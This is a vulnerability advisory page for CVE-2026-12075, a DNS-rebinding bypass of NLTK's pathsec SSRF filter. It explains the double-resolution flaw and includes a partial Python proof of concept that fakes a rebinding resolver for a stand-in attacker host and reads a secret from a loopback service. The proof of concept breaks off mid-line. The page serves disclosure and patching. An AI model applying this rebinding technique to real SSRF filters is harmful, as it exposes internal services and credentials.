🛡️ CVE-2026-12075 — nltk

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connectsocket.create_connectionsocket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)

2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

```python

import socket

import threading

import warnings

from collections import defaultdict

from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk

import nltk.pathsec as ps

ps.ENFORCE = True # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS

PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup

SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"

# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---

class _Handler(BaseHTTPRequestHandler):

def do_GET(self):

self.send_response(200)

self.send_header("Content-Type", "text/plain")

self.send_header("Content-Length", str(len(SECRET)))

self.end_headers()

self.wfile.write(SECRET)

def log_message(self, *a):

pass

def start_internal_server():

srv = HTTPServer(("127.0.0.1", 0), _Handler)

threading.Thread(target=srv.serve_forever, daemon=True).start()

return srv.server_address[1] # ephemeral port

# --- Model the TTL-0 rebinding record at the resolver layer ---

_real_getaddrinfo = socket.getaddrinfo

_lookups = defaultdict(int)

def _rebinding_getaddrinfo(host, port, *args, **kwargs):

if host == ATTACKER_HOST:

n = _lookups[host]

_lookups[host] += 1

ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)

p = port if isinstance(port, int) else 0

kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"

print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")

return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]

return _real_getaddrinfo(host, port, *args, **kwargs)

def fetch(url):

with ps.urlopen(url, timeout=5) as r:

return r.read()

def main():

print("=" * 62)

print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")

print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")

print("=" * 62)

port = start_internal_server()

print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")

socket.getaddrinfo = _rebinding_getaddrinfo

ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process

try:

# ---- Control: a DIRECT loopback URL must be blocked by the filter ----

print("[1] CONTROL: direct loopback URL (filter must block this)")

direct = f"http://127.0.0.1:{port}/"

try:

fetch(direct)

print(f" [?] unexpected: {direct} was NOT blocked\n")

control_ok = False

except PermissionError as e:

print(f" [OK] blocked -> PermissionError: {e}\n")

control_ok = True

# ---- Attack: rebinding hostname bypasses the same filter ----

print("[2] ATTAC

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-12075 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-12075 is recorded against 1 package.

  • nltk (fixed in 3.10.0)

Timeline and source

Published on 31 July 2026 and last revised on 6 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918
Public Exploit ✅ No
Source OSV
Published 2026-07-31
Updated 2026-08-12
Modified 2026-08-06
Fix URL N/A

Affected Packages

Software From version Fixed in
nltk 3.10.0

Similar Threats

Site Security Check

Is nltk part of your stack?

CVE-2026-12075 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.